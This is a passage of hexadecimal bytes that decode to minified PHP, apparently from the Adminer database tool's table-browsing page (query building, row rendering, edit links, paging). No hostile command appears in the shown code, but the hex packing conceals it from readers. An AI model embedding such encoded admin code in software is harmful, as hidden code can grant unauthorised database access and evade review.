2C 24 50 2C 24 77 65 29 3B 69 66 28 21 24 4A 29 62 72 65 61 6B 3B 7D 7D
69 66 28 24 4A 29 71 75 65 72 69 65 73 28 22 43 4F 4D 4D 49 54 22 29 3B
71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 72 65 6D 6F 76 65 5F
66 72 6F 6D 5F 75 72 69 28 22 70 61 67 65 22 29 2C 6C 61 6E 67 28 61 72
72 61 79 28 27 25 64 20 72 6F 77 20 68 61 73 20 62 65 65 6E 20 69 6D 70
6F 72 74 65 64 2E 27 2C 27 25 64 20 72 6F 77 73 20 68 61 76 65 20 62 65
65 6E 20 69 6D 70 6F 72 74 65 64 2E 27 29 2C 24 6D 61 29 2C 24 4A 29 3B
71 75 65 72 69 65 73 28 22 52 4F 4C 4C 42 41 43 4B 22 29 3B 7D 7D 7D 24
7A 66 3D 24 62 2D 3E 74 61 62 6C 65 4E 61 6D 65 28 24 52 29 3B 69 66 28
69 73 5F 61 6A 61 78 28 29 29 6F 62 5F 73 74 61 72 74 28 29 3B 70 61 67
65 5F 68 65 61 64 65 72 28 27 53 65 6C 65 63 74 27 2E 22 3A 20 24 7A 66
22 2C 24 6C 29 3B 24 50 3D 6E 75 6C 6C 3B 69 66 28 69 73 73 65 74 28 24
54 65 5B 22 69 6E 73 65 72 74 22 5D 29 29 7B 24 50 3D 22 22 3B 66 6F 72
65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45 54 5B 22 77 68 65 72 65
22 5D 61 73 24 58 29 7B 69 66 28 63 6F 75 6E 74 28 24 70 5B 24 58 5B 22
63 6F 6C 22 5D 5D 29 3D 3D 31 26 26 28 24 58 5B 22 6F 70 22 5D 3D 3D 22
3D 22 7C 7C 28 21 24 58 5B 22 6F 70 22 5D 26 26 21 65 72 65 67 28 27 5B
5F 25 5D 27 2C 24 58 5B 22 76 61 6C 22 5D 29 29 29 29 24 50 2E 3D 22 26
73 65 74 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 5B 22 2E 62 72 61 63 6B
65 74 5F 65 73 63 61 70 65 28 24 58 5B 22 63 6F 6C 22 5D 29 2E 22 5D 22
29 2E 22 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 58 5B 22 76 61 6C 22
5D 29 3B 7D 7D 24 62 2D 3E 73 65 6C 65 63 74 4C 69 6E 6B 73 28 24 52 2C
24 50 29 3B 69 66 28 21 24 66 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73
3D 27 65 72 72 6F 72 27 3E 22 2E 27 55 6E 61 62 6C 65 20 74 6F 20 73 65
6C 65 63 74 20 74 68 65 20 74 61 62 6C 65 27 2E 28 24 6E 3F 22 2E 22 3A
22 3A 20 22 2E 65 72 72 6F 72 28 29 29 2E 22 5C 6E 22 3B 65 6C 73 65 7B
65 63 68 6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 27 27 20 69 64 3D
27 66 6F 72 6D 27 3E 5C 6E 22 2C 22 3C 64 69 76 20 73 74 79 6C 65 3D 27
64 69 73 70 6C 61 79 3A 20 6E 6F 6E 65 3B 27 3E 22 3B 68 69 64 64 65 6E
5F 66 69 65 6C 64 73 5F 67 65 74 28 29 3B 65 63 68 6F 28 44 42 21 3D 22
22 3F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20
6E 61 6D 65 3D 22 64 62 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 44 42 29
2E 27 22 3E 27 2E 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 6E 73 22 5D
29 3F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20
6E 61 6D 65 3D 22 6E 73 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 24 5F 47
45 54 5B 22 6E 73 22 5D 29 2E 27 22 3E 27 3A 22 22 29 3A 22 22 29 3B 65
63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22
20 6E 61 6D 65 3D 22 73 65 6C 65 63 74 22 20 76 61 6C 75 65 3D 22 27 2E
68 28 24 61 29 2E 27 22 3E 27 2C 22 3C 2F 64 69 76 3E 5C 6E 22 3B 24 62
2D 3E 73 65 6C 65 63 74 43 6F 6C 75 6D 6E 73 50 72 69 6E 74 28 24 4E 2C
24 66 29 3B 24 62 2D 3E 73 65 6C 65 63 74 53 65 61 72 63 68 50 72 69 6E
74 28 24 5A 2C 24 66 2C 24 76 29 3B 24 62 2D 3E 73 65 6C 65 63 74 4F 72
64 65 72 50 72 69 6E 74 28 24 56 64 2C 24 66 2C 24 76 29 3B 24 62 2D 3E
73 65 6C 65 63 74 4C 69 6D 69 74 50 72 69 6E 74 28 24 7A 29 3B 24 62 2D
3E 73 65 6C 65 63 74 4C 65 6E 67 74 68 50 72 69 6E 74 28 24 4A 66 29 3B
24 62 2D 3E 73 65 6C 65 63 74 41 63 74 69 6F 6E 50 72 69 6E 74 28 24 76
29 3B 65 63 68 6F 22 3C 2F 66 6F 72 6D 3E 5C 6E 22 3B 24 46 3D 24 5F 47
45 54 5B 22 70 61 67 65 22 5D 3B 69 66 28 24 46 3D 3D 22 6C 61 73 74 22
29 7B 24 71 63 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54
20 43 4F 55 4E 54 28 2A 29 20 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24
61 29 2E 28 24 5A 3F 22 20 57 48 45 52 45 20 22 2E 69 6D 70 6C 6F 64 65
28 22 20 41 4E 44 20 22 2C 24 5A 29 3A 22 22 29 29 3B 24 46 3D 66 6C 6F
6F 72 28 6D 61 78 28 30 2C 24 71 63 2D 31 29 2F 24 7A 29 3B 7D 24 49 3D
24 62 2D 3E 73 65 6C 65 63 74 51 75 65 72 79 42 75 69 6C 64 28 24 4E 2C
24 5A 2C 24 78 63 2C 24 56 64 2C 24 7A 2C 24 46 29 3B 69 66 28 21 24 49
29 24 49 3D 22 53 45 4C 45 43 54 22 2E 6C 69 6D 69 74 28 28 2B 24 7A 26
26 24 78 63 26 26 24 50 63 26 26 24 78 3D 3D 22 73 71 6C 22 3F 22 53 51
4C 5F 43 41 4C 43 5F 46 4F 55 4E 44 5F 52 4F 57 53 20 22 3A 22 22 29 2E
24 73 63 2C 28 24 5A 3F 22 5C 6E 57 48 45 52 45 20 22 2E 69 6D 70 6C 6F
64 65 28 22 20 41 4E 44 20 22 2C 24 5A 29 3A 22 22 29 2E 24 79 63 2C 28
24 7A 21 3D 22 22 3F 2B 24 7A 3A 6E 75 6C 6C 29 2C 28 24 46 3F 24 7A 2A
24 46 3A 30 29 2C 22 5C 6E 22 29 3B 65 63 68 6F 24 62 2D 3E 73 65 6C 65
63 74 51 75 65 72 79 28 24 49 29 3B 24 4A 3D 24 67 2D 3E 71 75 65 72 79
28 24 49 29 3B 69 66 28 21 24 4A 29 65 63 68 6F 22 3C 70 20 63 6C 61 73
73 3D 27 65 72 72 6F 72 27 3E 22 2E 65 72 72 6F 72 28 29 2E 22 5C 6E 22
3B 65 6C 73 65 7B 69 66 28 24 78 3D 3D 22 6D 73 73 71 6C 22 26 26 24 46
29 24 4A 2D 3E 73 65 65 6B 28 24 7A 2A 24 46 29 3B 24 4B 62 3D 61 72 72
61 79 28 29 3B 65 63 68 6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 27
27 20 6D 65 74 68 6F 64 3D 27 70 6F 73 74 27 20 65 6E 63 74 79 70 65 3D
27 6D 75 6C 74 69 70 61 72 74 2F 66 6F 72 6D 2D 64 61 74 61 27 3E 5C 6E
22 3B 24 4D 3D 61 72 72 61 79 28 29 3B 77 68 69 6C 65 28 24 4C 3D 24 4A
2D 3E 66 65 74 63 68 5F 61 73 73 6F 63 28 29 29 7B 69 66 28 24 46 26 26
24 78 3D 3D 22 6F 72 61 63 6C 65 22 29 75 6E 73 65 74 28 24 4C 5B 22 52
4E 55 4D 22 5D 29 3B 24 4D 5B 5D 3D 24 4C 3B 7D 69 66 28 24 5F 47 45 54
5B 22 70 61 67 65 22 5D 21 3D 22 6C 61 73 74 22 29 24 71 63 3D 28 2B 24
7A 26 26 24 78 63 26 26 24 50 63 3F 28 24 78 3D 3D 22 73 71 6C 22 3F 24
67 2D 3E 72 65 73 75 6C 74 28 22 20 53 45 4C 45 43 54 20 46 4F 55 4E 44
5F 52 4F 57 53 28 29 22 29 3A 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45
4C 45 43 54 20 43 4F 55 4E 54 28 2A 29 20 46 52 4F 4D 20 28 24 49 29 20
78 22 29 29 3A 63 6F 75 6E 74 28 24 4D 29 29 3B 69 66 28 21 24 4D 29 65
63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73 73 61 67 65 27 3E 22
2E 27 4E 6F 20 72 6F 77 73 2E 27 2E 22 5C 6E 22 3B 65 6C 73 65 7B 24 7A
61 3D 24 62 2D 3E 62 61 63 6B 77 61 72 64 4B 65 79 73 28 24 61 2C 24 7A
66 29 3B 65 63 68 6F 22 3C 74 61 62 6C 65 20 69 64 3D 27 74 61 62 6C 65
27 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 20 63 6C 61 73 73 3D
27 6E 6F 77 72 61 70 20 63 68 65 63 6B 61 62 6C 65 27 20 6F 6E 63 6C 69
63 6B 3D 27 74 61 62 6C 65 43 6C 69 63 6B 28 65 76 65 6E 74 29 3B 27 20
6F 6E 64 62 6C 63 6C 69 63 6B 3D 27 74 61 62 6C 65 43 6C 69 63 6B 28 65
76 65 6E 74 2C 20 74 72 75 65 29 3B 27 20 6F 6E 6B 65 79 64 6F 77 6E 3D
27 72 65 74 75 72 6E 20 65 64 69 74 69 6E 67 4B 65 79 64 6F 77 6E 28 65
76 65 6E 74 29 3B 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64 3E 3C 74 72 3E
22 2E 28 21 24 78 63 26 26 24 4E 3F 22 22 3A 22 3C 74 64 3E 3C 69 6E 70
75 74 20 74 79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27 20 69 64 3D 27 61
6C 6C 2D 70 61 67 65 27 20 6F 6E 63 6C 69 63 6B 3D 27 66 6F 72 6D 43 68
65 63 6B 28 74 68 69 73 2C 20 2F 63 68 65 63 6B 2F 29 3B 27 3E 20 3C 61
20 68 72 65 66 3D 27 22 2E 68 28 24 5F 47 45 54 5B 22 6D 6F 64 69 66 79
22 5D 3F 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 22 6D 6F 64 69
66 79 22 29 3A 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55
52 49 22 5D 2E 22 26 6D 6F 64 69 66 79 3D 31 22 29 2E 22 27 3E 22 2E 27
65 64 69 74 27 2E 22 3C 2F 61 3E 22 29 3B 24 41 64 3D 61 72 72 61 79 28
29 3B 24 76 63 3D 61 72 72 61 79 28 29 3B 72 65 73 65 74 28 24 4E 29 3B
24 46 65 3D 31 3B 66 6F 72 65 61 63 68 28 24 4D 5B 30 5D 61 73 24 79 3D
3E 24 58 29 7B 69 66 28 24 79 21 3D 24 49 64 29 7B 24 58 3D 24 5F 47 45
54 5B 22 63 6F 6C 75 6D 6E 73 22 5D 5B 6B 65 79 28 24 4E 29 5D 3B 24 6D
3D 24 6E 5B 24 4E 3F 28 24 58 3F 24 58 5B 22 63 6F 6C 22 5D 3A 63 75 72
72 65 6E 74 28 24 4E 29 29 3A 24 79 5D 3B 24 45 3D 28 24 6D 3F 24 62 2D
3E 66 69 65 6C 64 4E 61 6D 65 28 24 6D 2C 24 46 65 29 3A 22 2A 22 29 3B
69 66 28 24 45 21 3D 22 22 29 7B 24 46 65 2B 2B 3B 24 41 64 5B 24 79 5D
3D 24 45 3B 24 65 3D 69 64 66 5F 65 73 63 61 70 65 28 24 79 29 3B 24 45
63 3D 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 27 28 6F 72 64 65
72 7C 64 65 73 63 29 5B 5E 3D 5D 2A 7C 70 61 67 65 27 29 2E 27 26 6F 72
64 65 72 25 35 42 30 25 35 44 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24
79 29 3B 24 72 62 3D 22 26 64 65 73 63 25 35 42 30 25 35 44 3D 31 22 3B
65 63 68 6F 27 3C 74 68 20 6F 6E 6D 6F 75 73 65 6F 76 65 72 3D 22 63 6F
6C 75 6D 6E 4D 6F 75 73 65 28 74 68 69 73 29 3B 22 20 6F 6E 6D 6F 75 73
65 6F 75 74 3D 22 63 6F 6C 75 6D 6E 4D 6F 75 73 65 28 74 68 69 73 2C 20
5C 27 20 68 69 64 64 65 6E 5C 27 29 3B 22 3E 27 2C 27 3C 61 20 68 72 65
66 3D 22 27 2E 68 28 24 45 63 2E 28 24 56 64 5B 30 5D 3D 3D 24 65 7C 7C
24 56 64 5B 30 5D 3D 3D 24 79 7C 7C 28 21 24 56 64 26 26 24 50 63 26 26
24 78 63 5B 30 5D 3D 3D 24 65 29 3F 24 72 62 3A 27 27 29 29 2E 27 22 3E
27 3B 65 63 68 6F 28 21 24 4E 7C 7C 24 58 3F 61 70 70 6C 79 5F 73 71 6C
5F 66 75 6E 63 74 69 6F 6E 28 24 58 5B 22 66 75 6E 22 5D 2C 24 45 29 3A
68 28 63 75 72 72 65 6E 74 28 24 4E 29 29 29 2E 22 3C 2F 61 3E 22 3B 65
63 68 6F 22 3C 73 70 61 6E 20 63 6C 61 73 73 3D 27 63 6F 6C 75 6D 6E 20
68 69 64 64 65 6E 27 3E 22 2C 22 3C 61 20 68 72 65 66 3D 27 22 2E 68 28
24 45 63 2E 24 72 62 29 2E 22 27 20 74 69 74 6C 65 3D 27 22 2E 27 64 65
73 63 65 6E 64 69 6E 67 27 2E 22 27 20 63 6C 61 73 73 3D 27 74 65 78 74
27 3E 20 E2 86 93 3C 2F 61 3E 22 3B 69 66 28 21 24 58 5B 22 66 75 6E 22
5D 29 65 63 68 6F 27 3C 61 20 68 72 65 66 3D 22 23 66 69 65 6C 64 73 65
74 2D 73 65 61 72 63 68 22 20 6F 6E 63 6C 69 63 6B 3D 22 73 65 6C 65 63
74 53 65 61 72 63 68 28 5C 27 27 2E 68 28 6A 73 5F 65 73 63 61 70 65 28
24 79 29 29 2E 27 5C 27 29 3B 20 72 65 74 75 72 6E 20 66 61 6C 73 65 3B
22 20 74 69 74 6C 65 3D 22 27 2E 27 53 65 61 72 63 68 27 2E 27 22 20 63
6C 61 73 73 3D 22 74 65 78 74 20 6A 73 6F 6E 6C 79 22 3E 20 3D 3C 2F 61
3E 27 3B 65 63 68 6F 22 3C 2F 73 70 61 6E 3E 22 3B 7D 24 76 63 5B 24 79
5D 3D 24 58 5B 22 66 75 6E 22 5D 3B 6E 65 78 74 28 24 4E 29 3B 7D 7D 24
67 64 3D 61 72 72 61 79 28 29 3B 69 66 28 24 5F 47 45 54 5B 22 6D 6F 64
69 66 79 22 5D 29 7B 66 6F 72 65 61 63 68 28 24 4D 0A 61 73 24 4C 29 7B
66 6F 72 65 61 63 68 28 24 4C 0A 61 73 24 79 3D 3E 24 58 29 24 67 64 5B
24 79 5D 3D 6D 61 78 28 24 67 64 5B 24 79 5D 2C 6D 69 6E 28 34 30 2C 73
74 72 6C 65 6E 28 75 74 66 38 5F 64 65 63 6F 64 65 28 24 58 29 29 29 29
3B 7D 7D 65 63 68 6F 28 24 7A 61 3F 22 3C 74 68 3E 22 2E 27 52 65 6C 61
74 69 6F 6E 73 27 3A 22 22 29 2E 22 3C 2F 74 68 65 61 64 3E 5C 6E 22 3B
69 66 28 69 73 5F 61 6A 61 78 28 29 29 7B 69 66 28 24 7A 25 32 3D 3D 31
26 26 24 46 25 32 3D 3D 31 29 6F 64 64 28 29 3B 6F 62 5F 65 6E 64 5F 63
6C 65 61 6E 28 29 3B 7D 66 6F 72 65 61 63 68 28 24 62 2D 3E 72 6F 77 44
65 73 63 72 69 70 74 69 6F 6E 73 28 24 4D 2C 24 70 29 61 73 24 44 3D 3E
24 4C 29 7B 24 66 67 3D 75 6E 69 71 75 65 5F 61 72 72 61 79 28 24 4D 5B
24 44 5D 2C 24 76 29 3B 69 66 28 21 24 66 67 29 7B 24 66 67 3D 61 72 72
61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 4D 5B 24 44 5D 61 73 24 79 3D
3E 24 58 29 7B 69 66 28 21 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 5E 28
43 4F 55 4E 54 5C 5C 28 28 5C 5C 2A 7C 28 44 49 53 54 49 4E 43 54 20 29
3F 60 28 3F 3A 5B 5E 60 5D 7C 60 60 29 2B 60 29 5C 5C 29 7C 28 41 56 47
7C 47 52 4F 55 50 5F 43 4F 4E 43 41 54 7C 4D 41 58 7C 4D 49 4E 7C 53 55
4D 29 5C 5C 28 60 28 3F 3A 5B 5E 60 5D 7C 60 60 29 2B 60 5C 5C 29 29 24
7E 27 2C 24 79 29 29 24 66 67 5B 24 79 5D 3D 24 58 3B 7D 7D 24 67 67 3D
22 22 3B 66 6F 72 65 61 63 68 28 24 66 67 0A 61 73 24 79 3D 3E 24 58 29
7B 69 66 28 73 74 72 6C 65 6E 28 24 58 29 3E 36 34 29 7B 24 79 3D 22 4D
44 35 28 22 2E 28 73 74 72 70 6F 73 28 24 79 2C 27 28 27 29 3F 24 79 3A
69 64 66 5F 65 73 63 61 70 65 28 24 79 29 29 2E 22 29 22 3B 24 58 3D 6D
64 35 28 24 58 29 3B 7D 24 67 67 2E 3D 22 26 22 2E 28 24 58 21 3D 3D 6E
75 6C 6C 3F 75 72 6C 65 6E 63 6F 64 65 28 22 77 68 65 72 65 5B 22 2E 62
72 61 63 6B 65 74 5F 65 73 63 61 70 65 28 24 79 29 2E 22 5D 22 29 2E 22
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 58 29 3A 22 6E 75 6C 6C 25 35
42 25 35 44 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 79 29 29 3B 7D 65
63 68 6F 22 3C 74 72 22 2E 6F 64 64 28 29 2E 22 3E 22 2E 28 21 24 78 63
26 26 24 4E 3F 22 22 3A 22 3C 74 64 3E 22 2E 63 68 65 63 6B 62 6F 78 28
22 63 68 65 63 6B 5B 5D 22 2C 73 75 62 73 74 72 28 24 67 67 2C 31 29 2C
69 6E 5F 61 72 72 61 79 28 73 75 62 73 74 72 28 24 67 67 2C 31 29 2C 28
61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 63 68 65 63 6B 22 5D 29 2C 22
22 2C 22 74 68 69 73 2E 66 6F 72 6D 5B 27 61 6C 6C 27 5D 2E 63 68 65 63
6B 65 64 20 3D 20 66 61 6C 73 65 3B 20 66 6F 72 6D 55 6E 63 68 65 63 6B
28 27 61 6C 6C 2D 70 61 67 65 27 29 3B 22 29 2E 28 24 50 63 7C 7C 69 6E
66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68 65 6D 61 28 44 42 29 3F 22 22 3A
22 20 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D 45 2E 22 65 64 69 74 3D
22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29 2E 24 67 67 29 2E 22 27 3E
22 2E 27 65 64 69 74 27 2E 22 3C 2F 61 3E 22 29 29 3B 66 6F 72 65 61 63
68 28 24 4C 0A 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 69 73 73 65 74 28
24 41 64 5B 24 79 5D 29 29 7B 24 6D 3D 24 6E 5B 24 79 5D 3B 69 66 28 24
58 21 3D 22 22 26 26 28 21 69 73 73 65 74 28 24 4B 62 5B 24 79 5D 29 7C
7C 24 4B 62 5B 24 79 5D 21 3D 22 22 29 29 24 4B 62 5B 24 79 5D 3D 28 69
73 5F 6D 61 69 6C 28 24 58 29 3F 24 41 64 5B 24 79 5D 3A 22 22 29 3B 24
5F 3D 22 22 3B 24 58 3D 24 62 2D 3E 65 64 69 74 56 61 6C 28 24 58 2C 24
6D 29 3B 69 66 28 24 58 21 3D 3D 6E 75 6C 6C 29 7B 69 66 28 65 72 65 67
28 27 62 6C 6F 62 7C 62 79 74 65 61 7C 72 61 77 7C 66 69 6C 65 27 2C 24
6D 5B 22 74 79 70 65 22 5D 29 26 26 24 58 21 3D 22 22 29 24 5F 3D 4D 45
2E 27 64 6F 77 6E 6C 6F 61 64 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24
61 29 2E 27 26 66 69 65 6C 64 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24
79 29 2E 24 67 67 3B 69 66 28 24 58 3D 3D 3D 22 22 29 24 58 3D 22 26 6E
62 73 70 3B 22 3B 65 6C 73 65 69 66 28 24 4A 66 21 3D 22 22 26 26 69 73
5F 73 68 6F 72 74 61 62 6C 65 28 24 6D 29 29 24 58 3D 73 68 6F 72 74 65
6E 5F 75 74 66 38 28 24 58 2C 6D 61 78 28 30 2C 2B 24 4A 66 29 29 3B 65
6C 73 65 24 58 3D 68 28 24 58 29 3B 69 66 28 21 24 5F 29 7B 66 6F 72 65
61 63 68 28 28 61 72 72 61 79 29 24 70 5B 24 79 5D 61 73 24 6F 29 7B 69
66 28 63 6F 75 6E 74 28 24 70 5B 24 79 5D 29 3D 3D 31 7C 7C 65 6E 64 28
24 6F 5B 22 73 6F 75 72 63 65 22 5D 29 3D 3D 24 79 29 7B 24 5F 3D 22 22
3B 66 6F 72 65 61 63 68 28 24 6F 5B 22 73 6F 75 72 63 65 22 5D 61 73 24
73 3D 3E 24 6A 66 29 24 5F 2E 3D 77 68 65 72 65 5F 6C 69 6E 6B 28 24 73
2C 24 6F 5B 22 74 61 72 67 65 74 22 5D 5B 24 73 5D 2C 24 4D 5B 24 44 5D
5B 24 6A 66 5D 29 3B 24 5F 3D 28 24 6F 5B 22 64 62 22 5D 21 3D 22 22 3F
70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 28 5B 3F 26 5D 64 62 3D 29
5B 5E 26 5D 2B 7E 27 2C 27 5C 5C 31 27 2E 75 72 6C 65 6E 63 6F 64 65 28
24 6F 5B 22 64 62 22 5D 29 2C 4D 45 29 3A 4D 45 29 2E 27 73 65 6C 65 63
74 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 6F 5B 22 74 61 62 6C 65 22
5D 29 2E 24 5F 3B 69 66 28 63 6F 75 6E 74 28 24 6F 5B 22 73 6F 75 72 63
65 22 5D 29 3D 3D 31 29 62 72 65 61 6B 3B 7D 7D 7D 69 66 28 24 79 3D 3D
22 43 4F 55 4E 54 28 2A 29 22 29 7B 24 5F 3D 4D 45 2E 22 73 65 6C 65 63
74 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29 3B 24 73 3D 30 3B 66
6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45 54 5B 22 77 68 65
72 65 22 5D 61 73 24 57 29 7B 69 66 28 21 61 72 72 61 79 5F 6B 65 79 5F
65 78 69 73 74 73 28 24 57 5B 22 63 6F 6C 22 5D 2C 24 66 67 29 29 24 5F
2E 3D 77 68 65 72 65 5F 6C 69 6E 6B 28 24 73 2B 2B 2C 24 57 5B 22 63 6F
6C 22 5D 2C 24 57 5B 22 76 61 6C 22 5D 2C 24 57 5B 22 6F 70 22 5D 29 3B
7D 66 6F 72 65 61 63 68 28 24 66 67 0A 61 73 24 54 63 3D 3E 24 57 29 24
5F 2E 3D 77 68 65 72 65 5F 6C 69 6E 6B 28 24 73 2B 2B 2C 24 54 63 2C 24
57 29 3B 7D 7D 69 66 28 21 24 5F 26 26 28 24 5F 3D 24 62 2D 3E 73 65 6C
65 63 74 4C 69 6E 6B 28 24 4C 5B 24 79 5D 2C 24 6D 29 29 3D 3D 3D 6E 75
6C 6C 29 7B 69 66 28 69 73 5F 6D 61 69 6C 28 24 4C 5B 24 79 5D 29 29 24
5F 3D 22 6D 61 69 6C 74 6F 3A 24 4C 5B 24 79 5D 22 3B 69 66 28 24 43 65
3D 69 73 5F 75 72 6C 28 24 4C 5B 24 79 5D 29 29 24 5F 3D 28 24 43 65 3D
3D 22 68 74 74 70 22 26 26 24 62 61 3F 24 4C 5B 24 79 5D 3A 22 24 43 65
3A 2F 2F 77 77 77 2E 61 64 6D 69 6E 65 72 2E 6F 72 67 2F 72 65 64 69 72
65 63 74 2F 3F 75 72 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 4C 5B
24 79 5D 29 29 3B 7D 24 74 3D 68 28 22 76 61 6C 5B 24 67 67 5D 5B 22 2E
62 72 61 63 6B 65 74 5F 65 73 63 61 70 65 28 24 79 29 2E 22 5D 22 29 3B
24 59 3D 24 5F 50 4F 53 54 5B 22 76 61 6C 22 5D 5B 24 67 67 5D 5B 62 72
61 63 6B 65 74 5F 65 73 63 61 70 65 28 24 79 29 5D 3B 24 5F 63 3D 68 28
24 59 21 3D 3D 6E 75 6C 6C 3F 24 59 3A 24 4C 5B 24 79 5D 29 3B 24 6B 64
3D 73 74 72 70 6F 73 28 24 58 2C 22 3C 69 3E 2E 2E 2E 3C 2F 69 3E 22 29
3B 24 47 62 3D 69 73 5F 75 74 66 38 28 24 58 29 26 26 24 4D 5B 24 44 5D
5B 24 79 5D 3D 3D 24 4C 5B 24 79 5D 26 26 21 24 76 63 5B 24 79 5D 3B 24
49 66 3D 65 72 65 67 28 27 74 65 78 74 7C 6C 6F 62 27 2C 24 6D 5B 22 74
79 70 65 22 5D 29 3B 65 63 68 6F 28 28 24 5F 47 45 54 5B 22 6D 6F 64 69
66 79 22 5D 26 26 24 47 62 29 7C 7C 24 59 21 3D 3D 6E 75 6C 6C 3F 22 3C
74 64 3E 22 2E 28 24 49 66 3F 22 3C 74 65 78 74 61 72 65 61 20 6E 61 6D
65 3D 27 24 74 27 20 63 6F 6C 73 3D 27 33 30 27 20 72 6F 77 73 3D 27 22
2E 28 73 75 62 73 74 72 5F 63 6F 75 6E 74 28 24 4C 5B 24 79 5D 2C 22 5C
6E 22 29 2B 31 29 2E 22 27 3E 24 5F 63 3C 2F 74 65 78 74 61 72 65 61 3E
22 3A 22 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 27 24 74 27 20 76 61 6C 75
65 3D 27 24 5F 63 27 20 73 69 7A 65 3D 27 24 67 64 5B 24 79 5D 27 3E 22
29 3A 22 3C 74 64 20 69 64 3D 27 24 74 27 20 6F 6E 63 6C 69 63 6B 3D 5C
22 73 65 6C 65 63 74 43 6C 69 63 6B 28 74 68 69 73 2C 20 65 76 65 6E 74
2C 20 22 2E 28 24 6B 64 3F 32 3A 28 24 49 66 3F 31 3A 30 29 29 2E 28 24
47 62 3F 22 22 3A 22 2C 20 27 22 2E 68 28 27 55 73 65 20 65 64 69 74 20
6C 69 6E 6B 20 74 6F 20 6D 6F 64 69 66 79 20 74 68 69 73 20 76 61 6C 75
65 2E 27 29 2E 22 27 22 29 2E 22 29 3B 5C 22 3E 22 2E 24 62 2D 3E 73 65
6C 65 63 74 56 61 6C 28 24 58 2C 24 5F 2C 24 6D 29 29 3B 7D 7D 69 66 28
24 7A 61 29 65 63 68 6F 22 3C 74 64 3E 22 3B 24 62 2D 3E 62 61 63 6B 77
61 72 64 4B 65 79 73 50 72 69 6E 74 28 24 7A 61 2C 24 4D 5B 24 44 5D 29
3B 65 63 68 6F 22 3C 2F 74 72 3E 5C 6E 22 3B 7D 69 66 28 69 73 5F 61 6A
61 78 28 29 29 65 78 69 74 3B 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C
6E 22 2C 28 21 24 78 63 26 26 24 4E 3F 22 22 3A 22 3C 73 63 72 69 70 74
20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 27 3E
74 61 62 6C 65 43 68 65 63 6B 28 29 3B 3C 2F 73 63 72 69 70 74 3E 5C 6E
22 29 3B 7D 69 66 28 28 24 4D 7C 7C 24 46 29 26 26 21 69 73 5F 61 6A 61
78 28 29 29 7B 24 55 62 3D 74 72 75 65 3B 69 66 28 24 5F 47 45 54 5B 22
70 61 67 65 22 5D 21 3D 22 6C 61 73 74 22 26 26 2B 24 7A 26 26 21 24 50
63 26 26 28 24 71 63 3E 3D 24 7A 7C 7C 24 46 29 29 7B 24 71 63 3D 66 6F
75 6E 64 5F 72 6F 77 73 28 24 52 2C 24 5A 29 3B 69 66 28 24 71 63 3C 6D
61 78 28 31 65 34 2C 32 2A 28 24 46 2B 31 29 2A 24 7A 29 29 24 71 63 3D
72 65 73 65 74 28 73 6C 6F 77 5F 71 75 65 72 79 28 22 53 45 4C 45 43 54
20 43 4F 55 4E 54 28 2A 29 20 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24
61 29 2E 28 24 5A 3F 22 20 57 48 45 52 45 20 22 2E 69 6D 70 6C 6F 64 65
28 22 20 41 4E 44 20 22 2C 24 5A 29 3A 22 22 29 29 29 3B 65 6C 73 65 24
55 62 3D 66 61 6C 73 65 3B 7D 69 66 28 2B 24 7A 26 26 28 24 71 63 3D 3D
3D 66 61 6C 73 65 7C 7C 24 71 63 3E 24 7A 7C 7C 24 46 29 29 7B 65 63 68
6F 22 3C 70 20 63 6C 61 73 73 3D 27 70 61 67 65 73 27 3E 22 3B 24 6F 64
3D 28 24 71 63 3D 3D 3D 66 61 6C 73 65 3F 24 46 2B 28 63 6F 75 6E 74 28
24 4D 29 3E 3D 24 7A 3F 32 3A 31 29 3A 66 6C 6F 6F 72 28 28 24 71 63 2D
31 29 2F 24 7A 29 29 3B 65 63 68 6F 27 3C 61 20 68 72 65 66 3D 22 27 2E
